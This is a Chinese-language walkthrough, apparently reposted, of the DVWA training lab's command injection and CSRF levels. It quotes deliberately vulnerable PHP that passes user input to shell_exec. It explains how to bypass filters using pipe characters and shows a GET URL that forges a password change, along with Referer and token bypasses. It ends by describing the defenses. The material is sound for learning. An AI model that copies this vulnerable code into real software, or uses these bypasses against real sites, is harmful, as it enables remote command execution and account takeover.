可以看到,impossible级别在 high 的基础上对用户的登录次数有所限制,当用户登录失败达到3次,将会锁住账号15秒,同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

Low

一、查看源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

没有任何防御
二、解题
1、尝试ping
在这里插入图片描述
可以ping通
2、查看ip信息
在这里插入图片描述

Medium

一、查看源码

$substitutions = array(
        '&&' => '',
        ';'  => '',
    );

我们可以看到过滤了&&和;,可以使用管道符|
二、解题步骤
在这里插入图片描述

High

一、查看源码

$substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

发现过滤了很多,但是可以发现管道符后有个空格
二、解题
在这里插入图片描述

impossible

查看源码

<?php
    // 以 . 作为分割符 分割target为4个字段

    $octet = explode( ".", $target );

 

    // 检测分割后的4个字段,是否都为数字型

    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {

        //如果4个字段都是数字型,还原target 变量

        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

         }

    else {

        // 提示 输入为无效

        echo '<pre>ERROR: You have entered an invalid IP.</pre>';

    }
?>

这种类似于白名单的过滤方式,相较于黑名单过滤更加彻底。

对于csrf的基础知识大家可以看从0到1学习csrf

Low

一、查看源码
发现是以GET的方式修改密码,可以修改URL
二、解题步骤
1、打开题目,修改密码
在这里插入图片描述
2、发现可以通过修改URL直接修改密码
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

既然参数是GET方式传递的,那么我们可以直接在URL链接中设置参数,如果用户用登陆过该网站的浏览器(服务器会验证cookie)打开这个链接,那么将直接把参数传递给服务器,因为服务器并没有防CSRF的措施,所以直接可以攻击成功,密码将被改为123456。到那时如果用户在没有登陆过这个网站的浏览器上打开这个链接,并不会更改密码,而是跳转到登录界面。因为服务器在接受访问时,首先还要验证用户的cookie,如果浏览器上并没有之前登录留下的cookie,那攻击也就无法奏效。这么看来CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

但是这样太容易被发现,我们可以将其修改成短链接(因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。)
3、构造攻击界面
真实CSRF攻击中,攻击者为了隐藏自己的攻击手段,可能构造一个假的页面,然后放在公网上,诱导受害者访问这个页面,如果受害者访问了这个页面,那么受害者就会在不知情的情况下完成了CSRF攻击。自己测试可以写一个本地页面,也可以利用burpsuit直接生成攻击页面代码。
<1>抓取更改密码的数据包,利用engagement tools生成CDRF PoC,访问点击提交之后就可以更改密码。
在这里插入图片描述
<2>在这里插入图片描述
<3>访问点击提交之后就可以更改密码。
在这里插入图片描述

Medium

一、查看源码

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {

···

}else {

        echo "<pre>That request didn't look correct.</pre>";

    }

相比较于Low级别,它添加了referer验证,可以利用burp抓包查看
在这里插入图片描述
将该处的referer复制到自己的数据包中即可

High

一、查看源码

// Generate Anti-CSRF token
generateSessionToken();

查看源码我们发现,它添加了一个token验证
二、解题步骤
本题我们可以使用burp的插件
在这里插入图片描述
1、安装
在这里插入图片描述
2、配置
在这里插入图片描述
3、解题
直接抓包修改即可
在这里插入图片描述

<1>抓包

impossible

$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR )

加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码,这样在不知道原密码的情况下就无法构造参数。因此,目前还无法破解。


文章来源: https://www.freebuf.com/articles/web/344098.html
如有侵权请联系:admin#unsafe.sh